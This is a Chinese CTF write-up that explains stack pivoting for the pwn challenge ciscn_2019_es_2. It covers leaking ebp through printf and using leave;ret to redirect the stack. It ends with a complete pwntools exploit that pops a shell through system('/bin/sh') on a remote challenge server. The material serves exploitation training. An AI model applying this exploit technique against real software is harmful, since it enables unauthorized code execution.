ciscn_2019_es_2 栈迁移(很好的例子)

ciscn_2019_es_2

一道很好的栈迁移例题。之前看合天讲的虽然也涉及到原理,但是例子用的是攻防世界pwn200,溢出长度还是有点多。这次只能溢出ebp和retaddr,就很典型并且有挑战性。这题没做出来,看的wp,希望下次能自己做出来。
main函数
题目给了两次溢出,这两次都是必要的。一般来说,第一次溢出需要泄露栈上地址用来给第二次做迁移使用,第二次执行栈迁移,控制ret跳转到我们所迁移的栈上,执行栈上填写的exp。由于第二次依然是在函数栈帧内输入,因此除非能自己read到bss上(通常能这样做的溢出空间也够别的方法了),都需要在函数自己的栈帧内部写入。因此:通常泄露本栈帧中地址(有泄露的情况下)没有泄露的情况后面会写一个hitcontraining的题目
分析一下本题,由于printf(%s)在00存在截断,因此只需要填满buffer到ebp位置,就可以printf泄露ebp的值。
在这里插入图片描述
得到了ebp,需要查看ebp和输入buffer之间的偏移
在这里插入图片描述
如下图,由于两个printf在一个栈帧中并且都用s作为buffer,因此从下图中看到的ebp和esp之间的偏移也是第二次的。因此只需要把获取的ebp减去0x38就得到栈起始地址。
接下来是完整的栈迁移过程,如下图
在这里插入图片描述
接下来详细解释之。
leave ret的过程首先要理解。
在这里插入图片描述在这里插入图片描述
结合着本题来理解,本题在payload2位置的ret放置了leave_ret,根据上面的栈帧图,不难看出ebp的位置现在是ebp-0x38,也就是’aaaa’的位置。为什么要写aaaa呢?一步一步看。第一步,程序获取了ebp的值位ebp-0x38,接着做movl %ebp, %esp也就是把ebp-0x38移动到esp上,但是接下来一部pop esp,会直接将栈顶弹出。接下来ret的实际指令是pop eip也就是指令流直接跑到esp上去。由于popl ebp这一步,使得eip指向的是aaaa后面的指令。因此需要填充。
为什么这样做?考虑到正常的leave ret还要保存上一个函数栈帧位置,怎么保存?就靠的是popl ebp这一步。因为返回到上一个函数栈帧(movl ebp,esp)后,栈帧上第一个 位置(这里的aaaa)保存着再上一个函数ebp(套娃)这也实现了函数递归调用。
理解了上面aaaa的原因,接下来的就好懂了,无非是布置参数执行system

exp

from pwn import *
# io = process('./ciscn_2019_es_2')
io = remote('node4.buuoj.cn',27727)
elf = ELF('./ciscn_2019_es_2')
context.log_level='debug'



leave_ret = 0x080484b8
io.recvline()
payload1 = 'a'*0x26+'b'*2
io.send(payload1)
io.recvuntil('aabb')
ebp = u32(io.recv(4))
print "ebp----->" + hex(ebp)
        #    padding  # system             #ret addr   # binsh_addr  # bin sh       
payload2 = 'a'*0x4 + p32(elf.plt['system']) + 'bbbb' + p32(ebp-0x28)+'/bin'+'/sh\x00'
payload2=payload2.ljust(0x28,'\x00')
# pivot addr           # ret addr
payload2+=p32(ebp-0x38)+p32(leave_ret)
# gdb.attach(io,"b *0x080485FD")
io.sendline(payload2)

io.interactive()
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值